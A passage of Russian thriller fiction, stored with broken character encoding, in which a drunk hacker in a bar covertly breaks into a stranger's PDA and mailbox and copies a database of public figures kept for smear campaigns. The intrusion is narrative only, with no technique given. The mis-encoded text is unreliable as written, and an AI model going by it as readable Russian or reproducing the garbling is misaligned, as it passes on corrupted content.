Ìàëûøåâ âåðíóëñÿ íà ìåñòî è áûñòðî, îäíèì áîëüøèì ãëîòêîì, äîïèë
âñå ïèâî â êðóæêå, íå îáðàùàÿ âíèìàíèÿ íà òî, êàê ïî íåé êàòÿòñÿ êðóïíûå
êàïëè êîíäåíñàòà, ïàäàÿ åìó íà ãðóäü.
— Ìàæîð... Ìàæî-î-î-ð! Òâîþ ìàòü... Çà÷åì ÿ òàê íàáðàëñÿ? Ñåé÷àñ áû ÿñíûå
ìîçãè... Èíòåðåñíî, ó ìåíÿ ñ ñîáîé ìíîãî âñÿêèõ ïðèìî÷åê åñòü? Èëè ïîëå-
íèëñÿ ëèøíèé ðàç ïåðåêà÷àòü?

Îí òêíóë ïàëüöåì â êíîïêó ÎÊ, îòìåòèë íà÷àëî ñèíõðîíèçàöèè äàííûõ
ìåæäó íàëàäîííèêîì è íîóòáóêîì, ïîòîì åùå íåñêîëüêî ñåêóíä ðàäîâàëñÿ
òîé ïðîãðàììå, êîòîðóþ íàïèñàë ñàì, — áåçî âñÿêîé àâòîðèçàöèè âõîäèøü â
äîâåðèå ëþáîãî óñòðîéñòâà, êîòîðîå îáùàåòñÿ ñ îêðóæàþùèì ìèðîì áåç ïî-
ìîùè ïðîâîäîâ.

Ïàðåíü çà ñòîëîì çàíåðâíè÷àë íà íåñêîëüêî ñåêóíä. Ïîõîæå, âî âðåìÿ
èíòåíñèâíîãî îáìåíà äàííûìè åãî êîìïüþòåð ñòàë ïîäòîðìàæèâàòü, íî òîëü-
êî íåíàäîëãî. Ñêîðîñòü ðàáîòû áûñòðî âîññòàíîâèëàñü, îí ñíîâà ñòàë íàæè-
ìàòü íà ýêðàí ñòèëîì, ñîâåðøàÿ êàêèå-òî îïåðàöèè. Ñåðãåé òåì âðåìåíåì
ñìîòðåë íà ýêðàí íîóòáóêà, èçó÷àÿ ïîëó÷åííóþ èíôîðìàöèþ.

Ýòîé ñàìîé èíôîðìàöèè áûëî äîñòàòî÷íî. Âîò òîëüêî îíà áûëà êàêîé-
òî ñóìáóðíîé: íàáîð äîêóìåíòîâ, êàêèå-òî ôîòîãðàôèè, ñòàòüè, âûäåðíóòûå
èç èíòåðíåòà ñ íîâîñòíûõ ñàéòîâ. Îòäåëüíî øëà ïîäáîðêà àíåêäîòîâ ïðî ïî-
ëèòèêîâ, çâåçä øîó-áèçíåñà, ïðîñòî èçâåñòíûõ ïóáëè÷íûõ ëþäåé.
— Ñòðàííî âñå ýòî, — ïðîøåïòàë Ìàëûøåâ, íå çàìå÷àÿ òîãî, ÷òî òâîðèòñÿ
âîêðóã. Òåì âðåìåíåì îôèöèàíòêà ïîäîøëà ê íåìó, ïûòàëàñü çàãîâîðèòü, íî
îí íå îáðàòèë íà íåå âíèìàíèÿ. Îíà âçäîõíóëà, çàìåíèëà ïóñòóþ êðóæêó ïè-
âà íà ïîëíóþ è óøëà.
— Ïðåæäå ÷åì ñòàâèòü ñåáå çàäà÷ó, íàäî ïîíÿòü, ÷òî ÿ õî÷ó, — ñêàçàë Ìàëû-
øåâ ñàì ñåáå. — À ïîêà ñëîæíî ñêàçàòü, ÷òî ìîæíî õîòåòü îò ýòîãî áàðäàêà.
Âïîëíå âîçìîæíî, ÷òî ïîëüçû-òî íåò íèêàêîé. Ïóñòûøêà. È ÿ íà äåâÿíîñòî
ïðîöåíòîâ ïðàâ. Èëè íåò?

Îí ìàøèíàëüíî ïðîòÿíóë ðóêó ê ïèâó, îòõëåáíóë è äàæå íå óäèâèëñÿ òî-
ìó, ÷òî êðóæêà ñíîâà ïîëíà. Èíôîðìàöèÿ ïðèòÿãèâàëà åãî ñâîåé ïîëíîé íå-
èíôîðìàòèâíîñòüþ. Òàê íå ìîãëî áûòü è òàê áûëî.
— ×åëîâåê óäîâëåòâîðÿåò ñâîé èíôîðìàöèîííûé ãîëîä ïóòåì ñîáèðàíèÿ
ðàçëè÷íûõ äàííûõ â èíòåðíåòå. Âñå, ÷òî îí ïîëó÷àåò èç Ñåòè, èìååò îáúÿñíå-
íèå. Âñå, âêëþ÷àÿ ñëó÷àéíûå ôàéëû. Èíôîðìàöèÿ ìîæåò áûòü ñèñòåìàòèçè-
ðîâàíà òîëüêî îäíèì ñïîñîáîì, èçâåñòíûì õîçÿèíó. Çíà÷èò, íàäî ïîïûòàòüñÿ
ìûñëèòü èíà÷å — íå òî ÷òîáû íåñòàíäàðòíî, ïðîñòî íå òàê, êàê ìûñëèøü ñàì.

Õîòÿ åãî ìîçã áûë îäóðìàíåí àëêîãîëåì, îí ðàçìûøëÿë äîñòàòî÷íî ëî-
ãè÷íî, âîò òîëüêî íå ìîã èçáàâèòüñÿ îò äóðàöêîé ïðèâû÷êè ïóñêàòüñÿ â ðàñ-
ñóæäåíèÿ ñ ñàìèì ñîáîé è äåëàòü ýòî èñêëþ÷èòåëüíî âñëóõ.
— Çà÷åì ÷åëîâåêó òàêàÿ êó÷à ñòðàíèö, âûêà÷àííûõ ñàéòîâ, ôîòîãðàôèé è
îñòàëüíîãî õëàìà, êîòîðîãî â èíòåðíåòå ïîëíûì-ïîëíî, ðóáëü çà òîííó áåðóò?

Ìîæåò, ÷òîáû ïîíÿòü, åñòü ñìûñë ðâàíóòü äàëüøå? Ê íåìó äîìîé èëè ãäå òàì îí
õðàíèò âñå îñòàëüíîå? Íàâåðíÿêà äîìà ñåðüåçíàÿ ìàøèíà, íå óäèâëþñü åñëè
«Ìàêèíòîø». Òàêèå, êàê îí, ëþáÿò äîðîãèå àëüòåðíàòèâû. Èòàê, äëÿ íà÷àëà èäåì
â çàêëàäêè... Îáû÷íî âñå ëåæèò íà ïîâåðõíîñòè, íàäî òîëüêî íàêëîíèòüñÿ è âçÿòü.

Îí ïðîøåëñÿ ïî íàëàäîííèêó, êàê ïî ñâîåé êóõíå, âûáðàë âñþ íåîáõî-
äèìóþ èíôîðìàöèþ, îñòàâèë â ïîêîå Bluetooth è ñòàë èñïîëüçîâàòü âîçìîæ-
íîñòè, ïðåäîñòàâëåííûå ðåñòîðàíîì çà ïèâî, êîòîðîå îí ïüåò ñåé÷àñ â ýòîì
çàëå. Åãî õàêåðñêèé íàáîð áëàãîïîëó÷íî æäàë ñâîåãî ÷àñà íà íîóòáóêå, Ñåð-
ãåé âîñïîëüçîâàëñÿ èì äëÿ ïðîíèêíîâåíèÿ â áàçó äàííûõ ñâîåãî âíåçàïíî ïî-
ÿâèâøåãîñÿ ïðîòèâíèêà, õîòÿ îí ÿâëÿëñÿ èì ëèøü ïî îáðàçó æèçíè, äà è «ïðî-
òèâíèêîì» ýòî íàçâàòü áûëî òðóäíî — âñå-òàêè ñâåë èõ ñëó÷àé, íå áîëåå.

Íà äîìàøíåì êîìïüþòåðå åãî æäàëà åùå îäíà êó÷à èíòåðíåò-áàðàõëà,
íà ýòîò ðàç ðàçîáðàííàÿ è ñèñòåìàòèçèðîâàííàÿ. Ïî èìåíàì, ïî ïðîôåñ-
ñèÿì, ïî ìåñòó æèòåëüñòâà è ðàáîòû. Êëþ÷åé â òàáëèöàõ áûëî åùå âåëèêîå
ìíîæåñòâî — íàéòè ëþáîãî ÷åëîâåêà â íèõ íå ñîñòàâèëî áû íèêàêîãî òðóäà.
— Êñåíèÿ Ñîá÷àê... — øåïòàë Ìàëûøåâ, ââîäÿ èìåíà â ñòðîêó ïîèñêà è íå
óäèâëÿÿñü òîìó, ÷òî óäàâàëîñü íàéòè ëþáîãî ÷åëîâåêà â òå÷åíèå ïàðû ñåêóíä.
— Êàñüÿíîâ... Àëèíà Êàáàåâà... Êîíñòàíòèí Ýðíñò...

Ïîïàäàëèñü ëþäè, ïîìå÷åííûå ðàçíûìè öâåòàìè. Ñòðîêè ÷åðíîãî è ñè-
íåãî öâåòîâ áðîñàëèñü â ãëàçà. Ìàëûøåâ îòìåòèë ïðî ñåáÿ, ÷òî â ÷åðíûõ
ïîëÿõ ëþäè, êîòîðûõ óæå íåò æèâûõ, â ñèíèõ — òå, êòî íàõîäèòñÿ â ðîçûñêå
èëè ñèäèò â òþðüìå, òî åñòü, êîðî÷å ãîâîðÿ, â íàñòîÿùåå âðåìÿ èìååò ïðîáëå-
ìû ñ çàêîíîì.

×åðíûå ñòðîêè ïîäòîëêíóëè åãî ê î÷åíü è î÷åíü íåõîðîøåé ìûñëè...
— Ïàðåíü êèëëåð?

Åùå îäèí áîëüøîé ãëîòîê èç êðóæêè.
— ×óøü êàêàÿ-òî! Íî, ñ äðóãîé ñòîðîíû, äëÿ ÷åãî åìó ýòî êëàäáèùå?

Ëþäåé, ïîìå÷åííûõ ÷åðíûì, áûëî äåéñòâèòåëüíî äîâîëüíî ìíîãî. Ñðå-
äè íèõ ãóáåðíàòîð Àëòàÿ Ìèõàèë Åâäîêèìîâ, ïàðî÷êà áàíêèðîâ ñî çâó÷íûìè
ôàìèëèÿìè, äâîå òåëåâåäóùèõ è î÷åíü âûñîêîïîñòàâëåííûé ÷èí èç Ìèíè-
ñòåðñòâà îáîðîíû. Â ñèíèõ ïîëÿõ Ìàëûøåâ íå óäèâèëñÿ Õîäîðêîâñêîìó ñ Áå-
ðåçîâñêèì, ïîëèñòàë áàçó åùå è ïîíÿë, ÷òî «íåñòü èì ÷èñëà».
— Ëàäíî, õîðîøî, ðàç íå ìîæåì ïîíÿòü, çà÷åì âñå ýòî, çàéäåì ñ äðóãîãî áî-
êà. Ïîïðîáóåì ïîíÿòü, ÷òî îí äåëàåò ñåé÷àñ. Ìîæåò, óäàñòñÿ ïîíÿòü ïðèíöèï
ñîðòèðîâêè, çàíåñåíèÿ ëþäåé â òàáëèöû, âäðóã ñóìåþ óëîâèòü, çà÷åì âñå ýòî
íóæíî?!

Îí ñòàë îòñëåæèâàòü âñå òî, ÷òî ïðîèñõîäèëî ìåæäó íàëàäîííèêîì è
äîìàøíèì êîìïüþòåðîì â ðåæèìå ðåàëüíîãî âðåìåíè, ìåæäó äåëîì îáúÿñ-
íÿë ñàì ñåáå âñëóõ:
— Âðÿä ëè îí êèëëåð. Âåäü â áàçå äàííûõ îêîëî ÷åòûðåõ òûñÿ÷ ÷åëîâåê. ×åð-
íûõ ñòðîê òàì âðÿä ëè áîëüøå òðèäöàòè... Ïîõîæå, ÷òîáû óáèòü èëè ïîñàäèòü
â òþðüìó âåñü ýòîò ñïèñîê, ïàðíþ ïîíàäîáèòñÿ íå îäèí äåñÿòîê ëåò. Íå äó-
ìàþ, ÷òî îí ïîéäåò íà òàêîå. Ñêîðåå âñåãî, çäåñü ÷òî-òî äðóãîå. ×òî-òî î÷åíü
ïîõîæåå, íî ÷òî?

Íà ýêðàíå íîóòáóêà â òàáëèöàõ ìåíÿëèñü ñòðîêè, ìåíÿëèñü êàêèå-òî ïî-
ëÿ, ê ôàìèëèÿì ïðèïèñûâàëèñü äîñòàòî÷íî çàïóòàííûå àðãóìåíòû, ñòàâèëèñü
ðàçíîãî ðîäà ñèìâîëû. Íåñêîëüêî ðàç ìåëüêíóëî ñëîâî «out»: êîãî-òî ïàðåíü
òîëüêî ÷òî âûâåë èç èãðû, îòïðàâèâ â êîíåö ñïèñêà, èìåííî òàì êîïèëèñü ëþ-
äè ñ ýòèì àðãóìåíòîì.
— À ìîæåò, íå âûâåë èç èãðû? Ìîæåò, îíè óæå îòûãðàëè?

Îí ïðî÷èòàë îäíó èç ôàìèëèé â êîíöå ñïèñêà — òå, ÷òî áûëè â ãðóïïå
«out». Îíà ïîêàçàëàñü íó óæ î÷åíü çíàêîìîé, âîò òîëüêî îí íå ìîã ñðàçó
âñïîìíèòü, êòî ýòîò ÷åëîâåê. Ïðèøëîñü áðîñèòü èññëåäîâàíèÿ, âûéòè íà íî-
âîñòíîé ñàéò, íàéòè õîòü ÷òî-íèáóäü... Òî÷íî! Ýòî îêàçàëñÿ äîñòàòî÷íî âûñî-
êèé ÷èí â ñïîðòèâíîì ìèíèñòåðñòâå, êîòîðûé íåäàâíî áûë ñìåùåí ñî ñâîåãî
ïîñòà çà äîâîëüíî íåïðåäñêàçóåìûå äåéñòâèÿ â ñîñòîÿíèè àëêîãîëüíîãî
îïüÿíåíèÿ. Ñìåùåí, îïîçîðåí â ïðåññå è íà òåëåâèäåíèè, î íåì äàæå óïîìÿ-
íóëè â ïåðåäà÷å «×åëîâåê è çàêîí», ÷òî óæå ñàìî ïî ñåáå îçíà÷àëî äîâîëü-
íî âûñîêèé óðîâåíü êîíôëèêòà.
— Ñìåñòèëè ñ ïîñòà — è âîí èç ñïèñêà, — ïðîãîâîðèë Ìàëûøåâ. — Ñìåñòè-
ëè... Ñìåðòü ðóêîâîäèòåëÿ êàê ðóêîâîäèòåëÿ — èíîé ðàç äëÿ ÷åëîâåêà ýòî
ñòðàøíåå èñòèííîé ôèçè÷åñêîé ñìåðòè. Îêàçàòüñÿ íà ñàìîì âåðõó, à ïîòîì
âåðíóòüñÿ ê èñòîêàì. Íå ó âñÿêîãî õâàòèò âûäåðæêè è íåðâîâ. Ýòîò, ïðàâäà,
íè÷åãî ñ ñîáîé íå ñäåëàë — ïîõîæå, ïðàâèëüíî óáðàëè äåáîøèðà...

Îí ïîñèäåë åùå ìèíóòó è ñêàçàë:
— Ýòîò ÷åëîâåê ñîáèðàåò èíôîðìàöèþ î òåõ, êòî ìîæåò óïàñòü. Î òåõ, êîãî
ìîæíî ñâàëèòü. Î òåõ, êòî èãðàåò õîòü êàêóþ-òî ðîëü â íàøåé æèçíè. Íî çà êà-
êèì ÷åðòîì åìó ýòà èíôîðìàöèÿ?

Ìóçûêà, êîòîðàÿ ê òîìó âðåìåíè ñòàëà ïîãðîì÷å, íå îòâëåêàëà åãî îò
ðàçìûøëåíèé. Ïàðà ìóçûêàíòîâ âûøëè íà ñöåíó, îäèí âêëþ÷èë êîìïüþòåð,
äðóãîé ïðèíÿëñÿ íàñòðàèâàòü ãèòàðó. Ó íèõ çà ñïèíàìè çàñâåòèëàñü íàäïèñü
«Êîìàíäîðû». Ïåâèöà ñ ïðèëè÷íûìè äëÿ åå íåâûñîêîãî ðîñòà ôîðìàìè, ÷åì-
òî íàïîìèíàþùàÿ Ëàðèñó Äîëèíó, âêëþ÷èëà ìèêðîôîí è òèõî ïðîèçíåñëà:
— Îäèí, äâà, ðàç...

Ìàëûøåâ è ïàðåíü çà ñîñåäíèì ñòîëèêîì ñèíõðîííî ïîäíÿëè ãëàçà 
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íà ñöåíó è òóò æå ñíîâà îêóíóëèñü êàæäûé â ñâîé ìèð. Ñåðãåé ñíîâà ïîñìî-
òðåë íà çàãàäî÷íûå ñòðî÷êè:
— Åñòü åùå ñïîñîá: ïîñìîòðèì, êòî ó íåãî â àäðåñíîé êíèãå è â êîíòàêò-ëèñòå.
Ñêàæè ìíå, êòî òâîé êëèåíò, è ÿ ñêàæó, êòî òû. Ïîðîåìñÿ â ãðÿçíîì áåëüå...

Îí áåç îñîáîãî òðóäà ïîëó÷èë äîñòóï ê ïî÷òîâîìó ÿùèêó, ïðî÷èòàë êîð-
ðåñïîíäåíöèþ, ïðèøåäøóþ çà â÷åðà, è åäâà íå ïîëó÷èë òó, êîòîðàÿ ïîäæèäà-
ëà õîçÿèíà íà ñåðâåðå ñåãîäíÿ, íî âîâðåìÿ îäåðíóë ñåáÿ — ýòî âûãëÿäåëî áû
ïîäîçðèòåëüíî.
— Íå íàäî ñïåøèòü. Îí åùå ïîìîæåò ìíå ñàì... À ÷òî ó íàñ â êîíòàêòàõ?

Íèêè åìó íè÷åãî íå ãîâîðèëè. Òàê æå, êàê è ïèñüìà â ïî÷òîâèêå.
— Êàêîé-òî òóïèê, ÷åðò âîçüìè! — ñòóêíóë îí êóëàêîì ïî ñòîëó. — Åãî áàçà
äàííûõ — ýòî ïðîñòî óæàñ êàêîé-òî! Íå ìîæåò òàêàÿ èíôîðìàöèÿ õðàíèòüñÿ
íà êîìïüþòåðå â ñòîëü ñèñòåìàòèçèðîâàííîì âèäå áåçî âñÿêîãî ñìûñëà! Âñå
ýòî êîìó-òî íóæíî! Êòî-òî õî÷åò, ÷òîáû âñå ýòè äàííûå áûëè çäåñü! Õî÷åò!

Îí, êðàéíå ðàññåðæåííûé òåì, ÷òî íå ìîæåò ïîäîáðàòü êëþ÷ ê ðàçãàä-
êå, îòñåë îò ñòîëà è çàêèíóë íîãó íà íîãó. Íèêîãäà îí åùå íå áûë òàê çîë íà
ñàìîãî ñåáÿ.
— Êàêàÿ-òî ãðîáíèöà ôàðàîíà! — ãëÿäÿ ñ ðàññòîÿíèÿ íà ýêðàí íîóòáóêà,
ñêâîçü çóáû ïðîöåäèë Ìàëûøåâ. — Òóòàíõàìîí õðåíîâ! Âîò, íàïðèìåð, çà÷åì
åìó íóæíû ñâåäåíèÿ î ×óáàéñå? ×òî îí ìîæåò ñäåëàòü ñ ýòèì ÷åëîâåêîì? Êòî
â ýòîé ñòðàíå ìîæåò ïðîòèâîïîñòàâèòü õîòü ÷òî-íèáóäü ãëàâå òàêîãî êîíöåðíà?
— Âû åùå ïèâî áóäåòå? — âäðóã ðàçäàëîñü ñáîêó. Ñåðãåé âçäðîãíóë è óâèäåë
ïåðåä ñîáîé îôèöèàíòêó. — À òî ó íàñ ïðàâèëî òàêîå: åñëè êëèåíò êðóæêó
ñòàâèò íà êàðòîíêó, çíà÷èò, îí õî÷åò åùå.

Ìàëûøåâ óâèäåë, ÷òî ïóñòàÿ êðóæêà ñòîèò íà ôèðìåííîé êàðòîíêå, ìàøè-
íàëüíî êèâíóë è ñíîâà óâèäåë ïåðåä ñîáîé ñòðîéíûå íîãè â ñåò÷àòûõ êîëãîòêàõ.
Äåâóøêà çàìåòèëà, ÷òî îí íå îòðûâàÿñü ñìîòðèò íà åå íîãè, è çàñìóùàëàñü.
— ×òî âû òàì òàêîãî óâèäåëè? Ó ìåíÿ ÷óëêè ïîðâàëèñü? — ñïðîñèëà îíà, òî-
æå ïîñìîòðåâ âíèç.
— ×óëêè... — ïðîøåïòàë Ìàëûøåâ. — Ýòî ïîêðó÷å áóäåò...

Îí ïðåäñòàâèë ñåáå ÷åðíóþ ðåçèíêó øèðèíîé ñ ëàäîíü, ñêðûòóþ ñåé-
÷àñ êîðîòêîé þáêîé äåâóøêè, ðàçäåë åå ãëàçàìè è óñìåõíóëñÿ.
— Ýðîòèêà — ýòî àäðåíàëèí, — íåîæèäàííî ñêàçàë îí äåâóøêå. — À íà àä-
ðåíàëèíå ÿ ñåé÷àñ ñîîáðàæó, ÷òî ê ÷åìó.
— Êàêàÿ ýðîòèêà? — åùå áîëüøå ñìóòèëàñü îôèöèàíòêà. — ß ëó÷øå çà ïè-
âîì ïîéäó.

«Ñòðàííûé êàêîé-òî», — äóìàëà îíà, èäÿ ê áàðó è íå çàìå÷àÿ, ÷òî Ìà-
ëûøåâ íåîòðûâíî ñìîòðèò íà åå íîãè, ïðèñëóøèâàÿñü ê ïðèÿòíûì îùóùå-
íèÿì â ãðóäè, êîòîðûå íàçûâàëèñü «ëèáèäî». Ñåðäöå çàáèëîñü ñèëüíåå. Îí
ñîâåðøåííî ÷åòêî õîòåë ýòó äåâóøêó — ïðÿìî ñåé÷àñ è çäåñü.

À ïîòîì åùå ðàç âïèëñÿ ãëàçàìè â åå ÷óëêè.
Ñåòêà. Ñåòêà.
Ñåòêà.

— Ðûáàê, òâîþ ìàòü! — âçâèëñÿ Ìàëûøåâ. — Ñåòü! Îí ñàì èñïîëüçóåò ýòó èí-
ôîðìàöèþ! Ýòî åãî ðàáîòà! Çàáðàñûâàòü ñåòè è âûëàâëèâàòü êðóïíóþ ðûáó,
ñãîíÿÿ åå â ñàìûé íèç ñïèñêà, âûâîäÿ èç èãðû. Îí — ÷åëîâåê, êîòîðûé äåëà-
åò «÷åðíûé ïèàð»!

Àäðåíàëèí â î÷åðåäíîé ðàç íå ïîäâåë åãî. Òåïåðü îñòàëîñü ïðèäóìàòü,
÷òî ñäåëàòü ñ ýòîé îòãàäêîé.

Òåì âðåìåíåì ÷åëîâåê çà ñòîëèêîì ïðåêðàòèë çàíèìàòüñÿ ñâîèì íàëà-
äîííèêîì, âçãëÿíóë íà ýêðàí ìîáèëüíîãî òåëåôîíà, ïîêà÷àë ãîëîâîé (òóò Ìà-
ëûøåâ ïîíÿë, ÷òî îí ïðîñòî ñìîòðåë íà ÷àñû). Çàòåì âñòàë è âåðíóëñÿ çà
ñâîé ñòîëèê — çà òîò, ãäå ñèäåë ñ ñàìîãî íà÷àëà.

Ñåðãåé ïðîâîäèë åãî âçãëÿäîì èñïîäëîáüÿ, ïîñëå ÷åãî åùå ðàç ïîñìî-
òðåë íà ýêðàí, ãäå îñòàâàëàñü îòêðûòîé ÷àñòü òàáëèöû èç ÷óæîé áàçû äàííûõ.
Ñ íåé íóæíî áûëî ÷òî-òî äåëàòü.
— Åñëè ïðåäïîëîæèòü, ÷òî ýòîò ÷åëîâåê — òîò, êåì ÿ åãî ïðåäñòàâèë ñåáå, òî
âñÿ èíôà íà åãî êîìïå êðàéíå àêòóàëüíà. À ëþáóþ àêòóàëüíóþ èíôîðìàöèþ
ìîæíî èñïîëüçîâàòü.

È Ìàëûøåâ àêêóðàòíî ïåðåêà÷àë âñþ áàçó ñåáå íà íîóòáóê — èíôîð-
ìàöèÿ ñòîèò äåíåã.

Êîãäà äóìàåøü î äåíüãàõ, ðåäêî ñìîòðèøü ïî ñòîðîíàì...

* * * * *
Âðåìÿ øëî äîñòàòî÷íî áûñòðî. Çà ðàáîòîé Ìàêñèì âñåãäà óäèâëÿëñÿ åãî õî-
äó. Ñòðåëêè ÷àñîâ ñîâåðøàëè êàêèå-òî íåïîíÿòíûå ñêà÷êè ïî öèôåðáëàòó,
âûõâàòûâàÿ èç æèçíè öåëûå êóñêè.

Âîò è ñåé÷àñ îêîëî ñîðîêà ìèíóò ïðîñòî óëåòó÷èëèñü, èñïàðèëèñü, ïðå-
âðàòèëèñü â íè÷òî, íî çà ýòî âðåìÿ îí óñïåë ñâåñòè âîåäèíî íåñêîëüêî î÷åíü
èíòåðåñíûõ ôàêòîâ, ïðè ïîìîùè êîòîðûõ ìîæíî áûëî ñâàëèòü ñî ñâîåãî ïî-
ñòà îäíîãî î÷åíü áîëüøîãî ÷èíîâíèêà èç ïðîêóðàòóðû. Õîðîøî âûïîëíåííàÿ
ðàáîòà âñåãäà ïðèíîñèëà åìó óäîâëåòâîðåíèå. Îí ñäåëàë ïàðó äåíåæíûõ ïå-
ðåâîäîâ ñâîèì èíôîðìàòîðàì, ïðåäñòàâèë íà ìèíóòêó òó ñóììó, êîòîðàÿ ïå-
ðåêî÷åâàëà ñ àíîíèìíûõ áàíêîâñêèõ ñ÷åòîâ íà åãî êðåäèòêó, è âåðíóëñÿ çà
ñâîé ñòîëèê â îæèäàíèè Òàòüÿíû.

Îòìåòèâ ïðî ñåáÿ, ÷òî äåâóøêà âðåìåíàìè áðîñàåò â åãî ñòîðîíó âçãëÿ-
äû, ïîëíûå ëþáîïûòñòâà è íåòåðïåíèÿ, Ìàêñèì îñìîòðåë çàë, ïîñëóøàë ïà-
ðó ïåñåí â èñïîëíåíèè ãðóïïû, êîòîðàÿ â íàñòîÿùèé ìîìåíò îêêóïèðîâàëà
ñöåíó, îöåíèë íåïëîõèå âîêàëüíûå äàííûå ïåâèöû. Äîñòàë íàëàäîííèê è ñåë
òàê, ÷òîáû ñêðûòü ñâîè äåéñòâèÿ îò ïàðíÿ, êîòîðûé áðîäèë âîêðóã íåãî, ÿêî-
áû ðàññìàòðèâàÿ ïîïóãàÿ...

Òàòüÿíà ïîäîøëà íåçàìåòíî è îïóñòèëàñü â êðåñëî ðÿäîì. Ìàêñèì
âçäðîãíóë, ïîäíÿë íà íåå ãëàçà, äà òàê è íå ñìîã èõ îòâåñòè. Îíà, ñíÿâ ñ ñå-
áÿ óíèôîðìó è ïðåîáðàçèâøèñü â âå÷åðíåì íàðÿäå, ñòàëà ïðàêòè÷åñêè íåóç-
íàâàåìîé. Ñåðäöå ìîëîäîãî ÷åëîâåêà çàáèëîñü ñèëüíåå, îí ìàøèíàëüíî
ïðîòÿíóë ðóêó è ïðèêîñíóëñÿ ê êîí÷èêàì åå ïàëüöåâ. Îíà íå óáðàëà ðóêó.
— Ìíå êàæåòñÿ... — ïðîèçíåñ Ìàêñèì. — Ìíå êàæåòñÿ, ÷òî ìû íðàâèìñÿ äðóã
äðóãó.
— Íå áåç ýòîãî, — óëûáíóëàñü Òàòüÿíà. — Íî ýòî íå çíà÷èò, ÷òî çäåñü, â
«Àìàçîíèè», ÿ çíàêîìëþñü ñî âñåìè êëèåíòàìè, êîòîðûå ìíå íðàâÿòñÿ. Îò-
íþäü, ñêîðåå íàîáîðîò. Ìàêñèì, òû ïåðâûé, ñ êåì ÿ òóò îáùàþñü íà ïîäîá-
íîì óðîâíå. Ñìîòðè, êàê âñå íà íàñ êîñÿòñÿ...

Ìîëîäîé ÷åëîâåê àêêóðàòíî îñìîòðåëñÿ. Äåéñòâèòåëüíî, íåñêîëüêî
äåâ÷îíîê-îôèöèàíòîê î ÷åì-òî øóøóêàëèñü ó ñòîéêè áàðà, âðåìåíàìè áðî-
ñàÿ âçãëÿäû íà èõ ñòîëèê.
— Ðåïóòàöèÿ íå ïîñòðàäàåò, Òàòüÿíà? — ñïðîñèë îí ó äåâóøêè.
— Äóìàþ, ÷òî íåò. ß çäåñü íà õîðîøåì ñ÷åòó. È ìîãó ïðè æåëàíèè âûäàòü âñå
ýòî çà âñòðå÷ó ñî ñòàðûì çíàêîìûì. Åñëè ó íàñ, êîíå÷íî, íè÷åãî íå âûéäåò.

Ìàêñèì îöåíèë ïîñëåäíèå ñëîâà Òàíè, ïîòîì ñïðîñèë:
— Ïîñèäèì åùå èëè ïîéäåì êóäà-íèáóäü â äðóãîå ìåñòî?
— Âîîáùå-òî ðàáîòàòü è îòäûõàòü â îäíîì ìåñòå ñ÷èòàåòñÿ íåïðèëè÷íûì...
Íî óæ î÷åíü õî÷åòñÿ, ÷òîáû ìíå ïîäàëè óæèí ñþäà.
— Óæèí? Âñå-òàêè çäåñü? — óëûáíóëñÿ Ìàêñèì. — Âîò è ÷óäåñíî. È ìíå êàæåò-
ñÿ, ÷òî ìåíþ íàì íå íóæíî — òû íàâåðíÿêà åãî çíàåøü. Ïîýòîìó ïðîøó — íà
òâîé âêóñ. Âñå, ÷òî ïîæåëàåøü. È áóòûëêó õîðîøåãî äîðîãîãî êðàñíîãî âèíà.

Òàòüÿíà ïîñìîòðåëà â ñòîðîíó áàðà è ñäåëàëà æåñò ïî íàïðàâëåíèþ ê
äåâóøêàì. Îíè çàìåðëè, ïîòîì ðàññòóïèëèñü, îñòàâèâ òîëüêî îäíó — òó, êî-
òîðîé âûïàëî îáñëóæèâàòü ñòîëèêè ñ ýòîãî êðàÿ ñöåíû.
— Òû ïîêà çàêàçûâàé, à ó ìåíÿ åñòü ïàðà äåë, õî÷åòñÿ èõ çàâåðøèòü äî íà÷àëà
íàøåãî ðîìàíòè÷åñêîãî ñâèäàíèÿ, — ïðîèçíåñ Ìàêñèì è íàïðàâèëñÿ ê âûõîäó.

Òàòüÿíà ïðîâîäèëà åãî âçãëÿäîì è ïðèíÿëàñü çàêàçûâàòü óæèí. Â ìû-
ñëÿõ ó íåå óæå äàâíî ñîçðåëî ìåíþ. Îíà áûñòðî ïåðå÷èñëèëà âñå òî, ÷òî õî-
òåëà áû ñåé÷àñ ñúåñòü è âûïèòü, íåçàìåòíî îãëÿäåëà ñåáÿ â çåðêàëî è îñòà-
ëàñü äîâîëüíî ìàêèÿæåì è òóàëåòîì.

Æäàòü Ìàêñèìà ïðèøëîñü íåäîëãî. ×åðåç ïàðó ìèíóò îí óæå ñïóñêàëñÿ ïî
ëåñòíèöå âíèç, äåðæà â ðóêàõ îãðîìíûé áóêåò ðîç (ñïàñèáî áàáóøêàì, êîòîðûå óñ-
ïåâàþò çà íî÷ü îáúåõàòü ïîë-Ìîñêâû, ÷òîáû ïðîäàòü ñâîè áóêåòû íóæäàþùèìñÿ).

Âîò òîëüêî ïî÷åìó-òî îí ïîøåë íå ñðàçó ê íåé, à ñâåðíóë òóäà, ãäå ñè-
äåë äî ýòîãî.

Ê ïîïóãàþ...
Ïîÿâèëñÿ ïåðåä íåé ìèíóò ÷åðåç äåñÿòü. Òàòüÿíà óæå óñïåëà ïåðåäó-

ìàòü áîã âåñòü ÷òî íà òåìó òîãî, ê êîìó æå ýòîò êðàñàâåö áèçíåñìåí ìîã çà-
âåðíóòü ñ áóêåòîì ðîç â ïîëóïóñòîì çàëå, — è â ýòó ñàìóþ ñåêóíäó ïåðåä ãëà-
çàìè âîçíèê êðàñíûé âçðûâ èç äåâÿòè ðîñêîøíûõ öâåòêîâ. Îíà åäâà óäåðæà-
ëàñü îò âñêðèêà — íàñòîëüêî íåîæèäàííî ýòî áûëî.

Ìàêñèì óëûáíóëñÿ, ïðîòÿíóë öâåòû. Îíà ñ ðàäîñòüþ ïðèíÿëà èõ, âäîõ-
íóëà àðîìàò... ×òî-òî ñòðàííîå áûëî â ýòîì àðîìàòå, êàêèå-òî ÷óæäûå ðîçàì
íîòêè, íî îôèöèàíòêà áûñòðî ïðèíåñëà âàçó, îíà ïîñòàâèëà òóäà öâåòû è çà-
áûëà î ñòðàííîì ôàêòå.

«Çàìåòèëà, — ïîíÿë Ìàêñèì. — Êàê íè êðóòè, çàìåòèëà. Íó è ÷åðò ñ íèì.
Âñåãäà ìîæíî îáúÿñíèòü... Äà ëàäíî, ÷åãî ÿ âñå îá ýòîì...»

Çàïàõ ïîðîõà. Êîíå÷íî æå, Òàòüÿíà ïî÷óâñòâîâàëà åãî, íî íå ïîíÿëà, íå
